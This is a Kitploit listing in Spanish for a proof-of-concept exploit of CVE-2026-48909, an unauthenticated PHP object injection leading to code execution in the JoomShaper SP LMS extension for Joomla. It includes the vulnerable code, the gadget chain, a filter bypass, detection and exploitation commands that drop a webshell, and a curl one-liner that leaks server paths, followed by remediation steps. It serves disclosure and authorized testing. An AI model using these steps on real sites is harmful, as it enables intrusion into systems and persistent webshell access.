Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-48909 — Exploit de prueba de concepto para CVE-2026-48909: ejecución remota de código no autenticada mediante inyección de objetos PHP en JoomShaper SP LMS. Incluye guía de detección, explotación y remediación. | Kitploit
Herramientas/GitHubGitHub/is4yev/cve-2026-48909
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubis4yev/cve-2026-48909

CVE-2026-48909

Exploit de prueba de concepto para CVE-2026-48909: ejecución remota de código no autenticada mediante inyección de objetos PHP en JoomShaper SP LMS. Incluye guía de detección, explotación y remediación.

Ver Repositorio
232hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-48909 — Inyección de Objetos PHP en SP LMS → RCE

CVE CVSS CWE Affected Fixed

Ejecución Remota de Código sin Autenticación mediante Inyección de Objetos PHP en JoomShaper SP LMS (com_splms) ≤ 4.1.3 para Joomla CMS.

Autor: Amin İsayev / Proxima Cyber Security


Resumen

SP LMS es una extensión popular de Sistema de Gestión de Aprendizaje para Joomla desarrollada por JoomShaper con más de 100.000 instalaciones. Las versiones ≤ 4.1.3 pasan la cookie lmsOrders directamente a unserialize() sin ninguna validación, lo que permite a un atacante no autenticado inyectar un objeto PHP malicioso y lograr Ejecución Remota de Código a través de la cadena de gadgets nativa de Joomla.


Vulnerabilidad

Causa Raíz

components/com_splms/models/cart.php línea 28:

root@kitploit:~
$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← entrada de usuario no confiable

La cookie lmsOrders se decodifica en base64 y se pasa directamente a unserialize(). Un atacante controla completamente el objeto deserializado.

Cadena de Gadgets

La clase FormattedtextLogger de Joomla proporciona el gadget:

root@kitploit:~
lmsOrders cookie (attacker-controlled)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [Joomla gadget]
              └─► initFile() → File::write($path, $format)
                    └─► PHP code written to disk → RCE

Nota: La RCE requiere Joomla < 5.2.2.
Joomla 5.2.2 corrigió FormattedtextLogger.__wakeup() (ver PR #44428).
La Inyección de Objetos PHP aún existe en com_splms ≤ 4.1.3 en todas las versiones de Joomla.

Bypass de Filtros

El método Input\Cookie::get() de Joomla aplica un filtro cmd por defecto, eliminando +, / y = del valor de la cookie — caracteres presentes en base64 estándar. El exploit utiliza:

  • Codificación hex2bin() para evitar caracteres PHP prohibidos ($, _, {, }, \n)
  • Alineación de relleno para asegurar que la longitud base64 sea divisible por 3 (sin relleno =)
  • Iteración de caracteres de relleno (62 variantes) para eliminar / y + de la salida base64

Prueba de Concepto

Detección

root@kitploit:~
python3 CVE-2026-48909.py https://target.com
root@kitploit:~
[*] Target : https://target.com
[*] Path   : /index.php?option=com_splms&view=cart
[*] Probe  : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[VULNERABLE] HTTP 500 on probe vs 200 on benign — unserialize() called on cookie
[!] Update to SP LMS >= 4.1.4 immediately.

Explotación

root@kitploit:~
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

PoC Screenshot

Shell activa en https://target.com/tmp/x.php?c=id

Encontrando la ruta del servidor (si se desconoce):

root@kitploit:~
# Alojamiento cPanel — la ruta se filtra desde las páginas de error de Joomla
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# Rutas comunes a probar:
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

Requisitos

root@kitploit:~
pip install requests

Python 3.10+


Corrección / Mitigación

  1. Actualice SP LMS a la versión ≥ 4.1.4 inmediatamente
  2. Actualice Joomla a ≥ 5.2.2 para eliminar la cadena de gadgets
  3. Como mitigación temporal — valide y sanitice la cookie lmsOrders antes de deserializar:
root@kitploit:~
// NO use unserialize() en datos controlados por el usuario
// Use json_encode/json_decode en su lugar
$cartItems = json_decode(base64_decode($raw), true) ?? [];

Referencias

  • CVE-2026-48909 — cve.org
  • CVE-2026-48909 — NVD
  • GHSA-gf8c-xmwj-whrh — GitHub Advisory
  • Joomla PR #44428 — Parche del gadget FormattedtextLogger
  • CWE-502: Deserialización de Datos No Confiables
  • OWASP: Inyección de Objetos PHP

Aviso Legal

Esta herramienta se publica con fines educativos y solo para pruebas de seguridad autorizadas.
El autor no se responsabiliza por el mal uso o daños causados por este programa.
No la use contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.


Amin İsayev / Proxima Cyber Security — 2026

Descargar herramienta
CampoDetalles
CVE IDCVE-2026-48909
GHSAGHSA-gf8c-xmwj-whrh
AfectadoSP LMS (com_splms) 1.0.0 – 4.1.3
Corregido enSP LMS ≥ 4.1.4
Requisito Joomla< 5.2.2 (cadena de gadgets corregida en 5.2.2)
CVSS 4.09.5 Crítico — AV:N/AC:L/AT:P/PR:N/UI:N
CWECWE-502: Deserialización de Datos No Confiables
Autenticación requeridaNinguna
Divulgado2026-05-26
Publicado2026-06-20